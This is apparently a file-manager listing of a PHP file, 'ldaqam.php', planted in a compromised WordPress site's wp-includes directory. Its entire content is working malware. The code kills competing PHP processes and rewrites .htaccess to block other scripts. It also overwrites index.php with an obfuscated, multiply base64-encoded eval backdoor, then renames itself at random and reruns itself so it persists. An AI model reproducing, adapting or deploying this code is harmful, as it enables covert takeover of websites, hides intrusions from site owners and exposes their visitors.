File "ldaqam.php"

Full path: E:/Inetpub/vhosts/rocharosa.com.br/httpdocs/wp-includes/ldaqam.php
File size: 10.5 B
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php
exec("ps -ef",$a,$b);if(is_array($a)){for($c=1;$c<count($a);$c++){$d=explode(" ",$a[$c]);$e=$d[count($d)-1];if(strstr($e,".php")&&!strstr($e,"lsphp")&&!strstr($e,basename(__FILE__))){for($f=1;$f<count($d);$f++){if(is_numeric($d[$f])){exec("kill -9 ".$d[$f],$g,$h);break;}}}}}sleep(3);$k="E:\Inetpub\vhosts\rocharosa.com.br\httpdocs/";function get6str(){$l="";for($c=0;$c<6;$c++)$l.=chr(mt_rand(97,122));return $l;}$m=$k."wp-includes/".get6str().".php";$n=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfHdwLWNvbmZpcS5waHApJCI+Ck9yZGVyIEFsbG93LERlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPg==");if(!file_exists($k.".htaccess")){@file_put_contents($k.".htaccess",$n);}else{$d=@file_get_contents($k.".htaccess");if(md5($d)!=md5($n)){@chmod($k.".htaccess",0133+0511);@file_put_contents($k.".htaccess",$n);}}@chmod($k.".htaccess",0311+0133);$o=base64_decode("PD9waHAgLyotVkF+RX11LSovZXJyb3JfcmVwb3J0aW5nKDApOyAvKi04ZiM+XzJRYy0qL2V2YWwvKi14JCEzWzo2LFtjRUdQSG52LmlhLHxUdlN3SG02ekIpM0hhMjI9XjZRcklHP3F4ZXFiYS0qLygvKi05UFE6X2kteCgtKi9iYXNlNjRfZGVjb2RlLyotdyhGQltWUy0qLygvKi14MjJJLSw0OC0qLyJaWFpoYkNnaVB6NGlMbUpoYzJVMk5GOWtaV052WkdVb0lsQkVPWGRoU0VGbllVZFdhRnBIVm5sTFEyUkVZakkxTUZwWE5UQk1WbEkxWTBkVk5rbElVbXhsU0ZGMllVaFNkR0pFYzJkWk1taG9ZMjVPYkdSRU1URmtSMWwwVDBOamNFOTVRa0ZqTWxZd1dETlNjR0pYVm1aaVIyeDBZVmhSYjA1cVFYZExWSFJCV2xoS2VXSXpTbVpqYlZaM1lqTktNR0ZYTlc1TFJFRndUekJDY0ZveU5YWmpiVlptWkZoT2JHTnNPV2haYlRsNVpFTm5lRXRVZEhCaWJXeG1ZekpXTUV0RFpHdGhXRTUzWWtkR05WZ3lWbmxqYlRsNVkzbGpjMG93T1cxYWFXTndUM2xTYUZCVFJteGlXRUl3WlZObmExZ3hUa1pWYkZwR1ZXeHpibE5HVWxWVlJrMXVXRk5yYlVwdVRqQmpibEoyWWtjNU0xcFlTVzlLUmpsVVVsWktWMUpXU21KS01HaFZWa1pDVkVveE1IQkpWREE1U2pJNWJWcHBaRGhtUjJ4Nll6SldNRXREVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSV0RGb1psSnJPVk5XTUVaVFVrVldSVmd4UWxOVU1WSlFTakV3Y0VwcFdXdFlNVTVHVld4YVJsVnNjMjVUUmxKVlZVWTVXVmd3V2xCVmJHUkNWV3RTUmxKR09WRlZhemxWVkhsa1pGQlVNRGxLTW1nd1pFaENla296ZURoSlYxWjBZMGhTTlV0RFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldEQmFVMVF3TlZWWU1GWlBVa1k1U1ZaR1VsRlZlV1JrUzFOWmJXTXpVbmxrUnpsellqTmtiR05wWjJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVIxVnJPVTlXUmpsR1ZHdFNabE5HVWxWVlJrMXVXRk5yYUZCVU1HNWlNbHB0U25vNGFXRklVakJqU0UxcFQybEtiMlJJVW5kSmFuTnJXV293YTFneFRrWlZiRnBHVld4emFWVnJWbEpXVlZaVVZrWTVWbFZyYTJsWVZITnJXWG94Y0dNelRteGtRMmRyV0RGT1JsVnNXa1pWYkhOdVUwWlNWVlZHT1VKUk1FNUdWVVpTWmxSRlJrOVNNVlpDVWpCVmJsaFRheTlLUmpsVVVsWktWMUpXU21KS01HaFZWa1pDWmxGVlRrUlNWa0pWV0RCNFFsUnJaRlpSVldSR1NqRXdOa2xwU1RkS1IxRTVTa1k1VkZKV1NsZFNWa3BpU1d0b1ZWWkdRbVpUUlRsVVZrTktaRTk1VW0xUVYyeDZZekpXTUV0RFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldERktSbEpyVmxOU1ZrbHVXRk5yTDBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZXdFdSMUpXU2taVmFXUmtUMmxKYVU5NVVtNVFWMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1WkVsV1JsSlJXREZXVkZKV1NtWlJWV1JHVkd4UmJsaFRheTlLUmpsVVVsWktWMUpXU21KS01HaFZWa1pDWmxaV1RrWlZiRGxDVWpCV1QxWkRaR1JQYVVscFQzbFNiMUJYYkhwak1sWXdTME5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSTFZEaHJXREZPUmxWc1drWlZiSE51Vld0V1RsUXhVa1pZTUVaRlVrWkpibGhVYjJsSmFuTnJZVlF4YUdOdVNtaGxVMmR1VVZkT2FscFlRakJNVlhob1ltMWtNVmxYWkd4UGFVRnVUR2xTYWt4RFpGWmpNbFo1VEZWR2JscFhOVEJQYVVGdVRHbFNia3hEWkZOYVYxcHNZMjFXZVU5cFFXNU1hVkp0VEVOa1NXUklVbmRNVmtKNVlqTlNkazlwUVc1TWFWSm9URU5rU1dSSVVuZE1WV2gyWXpOUk5rbERZM1ZLUjFGelNqQm9NR1JJUVhSV1dFcHdUMmxCYmt4cFVtbE1RMlJKWkVoU2QweFdaM1JTYlRsNVpESkdlVnBIVm10TVZWcDJZMnB2WjBwNU5HdGhRMnMzU2tkdk9VbHVValZqUjFVNVNXazBhMWxUTkdsS2JXaDJZek5ST1VscE5HdGFRelJwU201V2VXRlVNR2xNYVZKcFRHbEpiV0ZZUVRsSmFUUnJZVVJ6YTJGNk1HdFlNVXBHVlZaV1JsVXhVbUpLTWtacVpFZHNkbUpwWkdSUE1teHRTME5HYkdKWVFqQmxVMmRyWVhscmNHVjVVbk5RV0U0eFdXNU9NR05wWjJ0aGVYZDBUVk5yTjBwSGN6bGpNMVpwWXpOU2VVdERVbkpNUkVGell6TlNlV0pIVm5WTFExSnlTMU13ZUV0VWMydGlWREZvWTI1S2FHVlRaMjVQVTJOelNucG5ia3hEWTNsS2VYZHVUa05qYzBwNlZXNU1RMlJyU25sM2JrNTVZM05LZWxGdVRFTmplRXA1ZDI1T2VXTnpTbnBKYmt4RFkzbEtlWGR1VGxOamMwb3lTVzVNUTJNeFNubDNiazVUWTNOS01rVnVURU5qZVVwNWQyNVplV056U25wUmJreERaR2xLZVhkdVdtbGpjMHA2Vlc1TVEyTjNTbmwzYmxscFkzTktlbWR1VEVOa2FFcDVkMjVaVTJOelNucFJia3hEWkdwS2VYZHVUbmxqYzBwNlRXNUxWSE5yWW1veGRGcEVWVzlLUjNOd1R6SnNiVXREVW5WUVZERndZbGhDYzJJeVVteExRMUowUzFOc04wcEhPRGxaV0VwNVdWaHJiMGx0WjJsTVEwb3dTV2wzYVdSRFNYTkpia0ZwVEVOSk5rbHBkMmxNZVVselNXazRhVXhEU2pOSmFYZHBZME5KYzBsdVVXbE1RMHBzU1dsM2FXTjVTWE5KYmxGcFRFTkpkVWxwZDJsa2VVbHpTVzA0YVV4RFNtdEphWGRwWVZOSmMwbHVTV2xNUTBwc1NXbDNhVmw1U1hOSmJsRnBURU5KZFVscGQybGtRMGx6U1cwNGFVeERTbmRKYVhkcFRIbEpjMGx1U1dsTVEwcHNTV2wzYVdKVFNYTkpiVGhwVEVOS01FbHBkMmxhVTBselNXazRhVXhEU210SmFYZHBZbmxKYzBsdE9HbE1RMHA1VEhsSmNFOTVVbmRRVjJSc1pFaFZiMkZYTVhkaVJ6bHJXbE5uYTJKNWEzVktSM2QxU25rMU1FcDVORzVsUTJOMVNqTlJia3RVZEd4a2JVWnpTME5qTDFCcFkzVktTRUppVFVZd2NFOHpNV3hsUjJ3d1MwTnJOMlpYVm5Oak1sWTNTa2hGT1VsdVpIRk9TRm93WkdrMWFXSnVUbTlhTTJ0MVpFYzVkMGxxZEhCYWFXZHJXV2xGT1ZCVFNYWmFiVVl5WVZkT2RtSnBOWEJaTWpocFMxaDBjRnBwYUdwaFIxWnFZVEZLYkZwdFZubGFXRWx2U2tkWmNHWkllR3BoUjFacVlUQktkbVJEWjJ0YWVXdHdaVEpzYlV0RFJucGtTRXA2WkVoSmIwcElTWE5LTTFKc1l6TlNlbUZZVW14aVYwWjNTbmxyY0dWNVVucFFVMUptVlRCV1UxWnJWbE5YZVdSRlZEQk9WbFJWVms5V1JqbFRWREE1VlVveE1IVktlVGw1WWpKS2RtUklUWFZrU0dnd1NucDBjRnBwYUcxaFYzaHNXREpXTkdGWVRqQmplV2RyWTNscmNHVXpWblZpUjJ4MVlYbG5hMk41YXpkbVdERnpZVmhPTUV0RFVubE1RMUl3VEVOU01VdFVNVzVhV0ZJeFMwTmtiMHA1Tkc1a1EyTjFTak5SYmt4cFpIZGplV04xU25wdmRrcDVORzVNZVdOMVNraEZkVXA1T1hCaWFXTjFTakpSYmt4cFpHeGxRMk4xU2pJNWRVcDVORzVhVXpSdVRHbGtkMkZEWTNWS00wRXZTbmswYTJGcGQydGhVM2RyWVdsck4yRlhXVzlLU0ZFclVGUlJkMDFEV1cxS1NGRTRUbFJCZDB0WWRFRmhSMVpvV2tkV2VVdERaRWxXUmxKUlRIcEZkVTFUUVRCTlJGRm5WRzA1TUVsRlduWmtWelZyU25sck4xcFlhSEJrUTJkclkybHJOMlpYYkcxTFExSXdVR293TVUxRVFYQmxNRUp2V2xkR2ExcFlTVzlLTUdoVlZrWkJkazFUTkhoSlJGVjNUVU5DU21KdVVteGpiVFZvWWtOQ1ZGcFlTakphV0VsblVsaEtlV0l6U1c1TFZIUnNaVWRzTUU4ek1YQmFhV2RvWXpOU2VXTXpVbmxMUTFKNVRFTmtkV0l6VWpCaFIyeDFXbmxqY0V0WWRIQmFhV2g2WkVoS2VtUklTVzlLU0VselNqSm9NR0pYZUdwaU1qVXdXbGMxTUVwNWEzQmxNRUp2V2xkR2ExcFlTVzlKYTA1MlltNVNiR0p1VVhSa1NHeDNXbFJ2WjJSSFZqUmtRemx2WkVjeGMwOTVRbXBoUjBaNVl6SldNRkJZVmpCYWFUQTBTV2xyTjBwSVdUbGpNMUo1V0ROS2JHTkhlR2haTWxWdlNXMW9NR0pYZUdwaU1qVXdXbGMxTUVscGQyNUtlWGRyWTJsck4xcFhUbTlpZVVGclpHcDBiR1ZIYkRCTFEyczNabGRzYlV0SVRqQmpiazR3WTJsbmEyTnBkMjVsUnpGeldUSTVkV1JIVm5Wa1EyTndTMWgwUVdGSFZtaGFSMVo1UzBOS1JHSXlOVEJhVnpVd1RGaFNOV05IVlRaSlNGSnNaVWhSZG1WSE1YTkphV3MzV2xob2NHUkRhSHBrU0VwbVkyMVdkMkpIUm1wYVUyZHBaVWN4YzFreU9YVmtSMVoxWkVOSmMwcDVZM05LU0Vsd1MxUjBPV0ZYV1c5ak0xSjVZek5TZVV0RFVubE1RMlI1WWpKS2RtUklUbXBpTWpVd1dsYzFNRXA1YTNCbE1FSnZXbGRHYTFwWVNXOUphMDUyWW01U2JHSnVVWFJrU0d4M1dsUnZaMlJIVmpSa1F6bDNZa2RHY0dKcWMyZFpNbWhvWTI1T2JHUkVNVEZrUjFsMFQwTkpjRTk1VWpOUVYxWTBZMGQ0ZGxwSFZXOUtNWFEyWWxZd2JreElUakJqYkRsNVdsaENjMWxYVG14TFEwcDVZakpLZG1SSVRtcGlNalV3V2xjMU1FbHBkMjVLZVhkclkybHJjRTh5VmpSaFdGRnZZVmN4ZDJKSE9XdGFVMmhSVTBaQ1psSlZPVTFNUTFJelMxTnJOMlpZTVRsbVdERnRaRmMxYW1SSGJIWmlhVUpxWVVkV2FtRXhTbXhhYlZaNVdsaEpiMHBJWjNCbGVWSTBVRmhPTUdOdVVuWmlSemt6V2xoSmIwcElaM0JQTW14dFMwTlNORWxVTUdsSmFXdzNTa2hyT1ZsWVNubFpXR3R2U1cxa2RtSXlaSE5hVXpWcVluazFjV05EU1hOSmJXUjJZakprYzFwVE5XcGlNakJwVEVOS05WbFhhSFppZVRWcVlqSXdhVXhEU2pWWlYyaDJZbmsxYW1KNU5YRmpRMGx6U1cxS2NHSnRZM1ZaTWpsMFNXbDNhVm95T1haTWJUVnNURzF3ZDBscGQybGliV3h0WkVocmRWa3lPWFJKYVdzM1dtMDVlVnBYUm1waFEyZHJaVk5DYUdONVFXdGxhV3czU2tkR2FGQllUakJqYmxKMllrYzVNMXBZU1c5S1NHOXdUekpzYlV0SVRqQmpiazR3WTJsbmEyVkRkMnRaVjBWd1MxaDBlVnBZVWpGamJUUm5aRWhLTVZwVWREbG1XREZzWWtoT2JHVXpTbXhrU0ZaNVltbENiVmxYZUhwYVZIUTVabGRhTVdKdFRqQmhWemwxU1VkT2IxcFhUbkpSYlRrd1MwTlNhVmxwYkRkS1IwcHBVRmhPTUdOdVVuWmlSemt6V2xoSmIwcEhTbWxMVkhSd1dtbG5hMWx0U1doUVUwbHBTMWh6YTFreVRUbFpXRXA1V1ZocmIwbHRaSFppTW1SeldsZEtkbVJEU1hOSmJXUjJZakprYzFwVFNYTkpibXhvWVVjNWRrbHBkMmxaYld4MVdubEpjMGx0Um5aaVEwbHpTVzFrZG1KNU5YVmFVelZ4WTBOSmNFOHlXblpqYlZab1dUSm5iMHBIVG1wSlIwWjZTVU5TTmt0WWMydFpWMFU1WXpOU2VXUkhPWE5pTTJSc1kybG5hMlZwYXpkaFYxbHZZek5TZVdNelVubExRMUpwV1dsM2ExbFhSWEJMV0hSNVdsaFNNV050Tkdka1NFb3hXbFIwT1daWU1XeGlTRTVzWlROS2JHUklWbmxpYVVKdFdWZDRlbHBVZERsbVYxb3hZbTFPTUdGWE9YVkpSMlJzWkVoVmIwcEhVbXRNUTFKd1VGYzFNV0pIZDNOS1IyODVZbTVXYzJKRGQydGFWMVU1WW01V2MySkRiRGRoVjFsdlNWZGFNV0p0VGpCaFZ6bDFXREpXTkdGWVRqQmplV2R1V1ROV2VXSkdPWEJpYld3d1NubHJjR1V6U214a1NGWjVZbXAwT1VwSFdtMVFVMGxwVDNsU2JscDZNR2xKYW5OcllVZG5PVWxwU1Rka1NFbzFaWGxTY0dGVU1XcGtXRXB6V0RKc2RXRllVVzlMVkhScVpGaEtjMWd6VG14a1J6bDNaRU5uYTJGWGEzTlJNVlpUVkVVNVVWWkdPVlpWYTNkelNrZFNhMHRVZEdwa1dFcHpXRE5PYkdSSE9YZGtRMmRyWVZkcmMxRXhWbE5VUlRsUlZrWTVSMVF3ZUUxVU1XUk5WREJPUWxaRmJGQlVhWGQ0UzFSMGFtUllTbk5ZTTA1c1pFYzVkMlJEWjJ0aFYydHpVVEZXVTFSRk9WRldSamxVVlRCNFpsWnJWbE5UVlZwYVZVVldSbFZwZUVkUlZYaFVVbE5yTjFrelZubGlSamw2V2xoU2RtTklVVzlLUjJ4d1RFVk9WbFZyZUZCVlJsSm1WVEZPVFZneFdrWlZhMnhIVjFWb1VGVXhVWE5TYTBaTlZUQlZjRTh5VGpGamJYaG1ZekpXTUdJelFqQkxRMUp3WVZONFJGWldTazFVTVVKVldEQk9VRlJyTlVaUk1WSlZVMVV4UmxReFZsVk1SRTEzUzFSMGFtUllTbk5ZTTA1c1pFYzVkMlJEWjJ0aFYydHpVVEZXVTFSRk9WRldSamxUVWxaU1ZsVnJOVlZWYTBaUFZUQmFSbFZwZDNoTFZITnJZVlF3T1ZCWE5URmlSM2N2U25sak5sa3pWbmxpUmpsNldsaFNkbU5JVVc5S1IyeHdURVZPVmxWcmVGQlZSbEptVTBaU1ZWVkZhRVpSVlZKR1ZXbDNhMkZUYXpkS1IxWnNVRlF3T1dKdVZuTmlTSGc0U2tkV2JGQlVNRGxKYVVrdlNubGpObGt6Vm5saVJqbDZXbGhTZG1OSVVXOUtSMnh3VEVWT1ZsVnJlRkJWUmxKbVZsWk9SbFZyUmtoU1ZUVlZURU5TYkZwVGF6ZGhWMWx2U2tkdmFGQlVNWFZrVjNoelNtbFphMkZwUlRsUVUwbHBTMWgwYW1SWVNuTllNMDVzWkVjNWQyUkRaMnRoVjJ0elVURldVMVJGT1ZGV1JqbFJWREZPVlV4RVJYQlBNazR4WTIxNFptTXlWakJpTTBJd1MwTlNjR0ZUZUVSV1ZrcE5WREZDVlZneFFsQlZNVkpIVTFWV1RWSkdUWE5LUjI5d1R6TXdhMXB0V1RsWk0xWjVZa1k1YkdWSFZtcExRMUp3WVZOck4wcEhaRzVRVjA0eFkyMTRabG95VmpCaFZ6VnRZbmxuYTJGWGEzTlJNVlpUVkVWc1QxSnJPV1pUUmxKVlZVWTVSRlF3VWtaTFZITnJZVWRuT1ZrelZubGlSamx1V2xoU2NHSnRXblpMUTFKd1lWTjRSRlpXU2sxVFZUVkhWREU1UkZRd05WVlNWVFZWV0RGU1dsVkZWWEJQTWs0eFkyMTRabGt5ZUhaak1sVnZTa2RzY0V0VWREbFpNa1l3V1RKbmIxSllhR3BhV0VJd1lWYzVkVWxEVW5GaGFXdzNabGRzYlV0RFoydGFiVms1VUZReGJWbFhlSHBhV0hnNFNrZGFiVkJVTUdsSmFXdHRTbTFhTVdKdFRqQmhWemwxV0RKV05HRllUakJqZVdkdVdtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF1UzFOc04yUklTalZsZVZKdFdtb3hRVnB0YkhOYVZqbHVXbGhTWmxreU9YVmtSMVoxWkVoTmIwcEhVbXRMVkhRNVdUSkdNRmt5WjI5U1dHaHFXbGhDTUdGWE9YVkpRMUp4WVdsc04yWllNWGxhV0ZJeFkyMDBaMWxZU25sWldHdHZTa2RhYlV4RFVtNWFlWGRyWVVkbmNFOHpNR2RRZWpROUlpa3BPdz09Ii8qLSlqUGtiPEBMLSovKS8qLTgmVWlub0RPLSovKTs/Pjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7CnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs=");if(!file_exists($k."index.php")){@file_put_contents($k."index.php",$o);}else{$d=@file_get_contents($k."index.php");if(md5($d)!=md5($o)){@chmod($k."index.php",0133+0511);@file_put_contents($k."index.php",$o);}}@chmod($k."index.php",0311+0133);rename(__FILE__,$m);exec("php -f $m > /dev/null 2>/dev/null &",$p);?>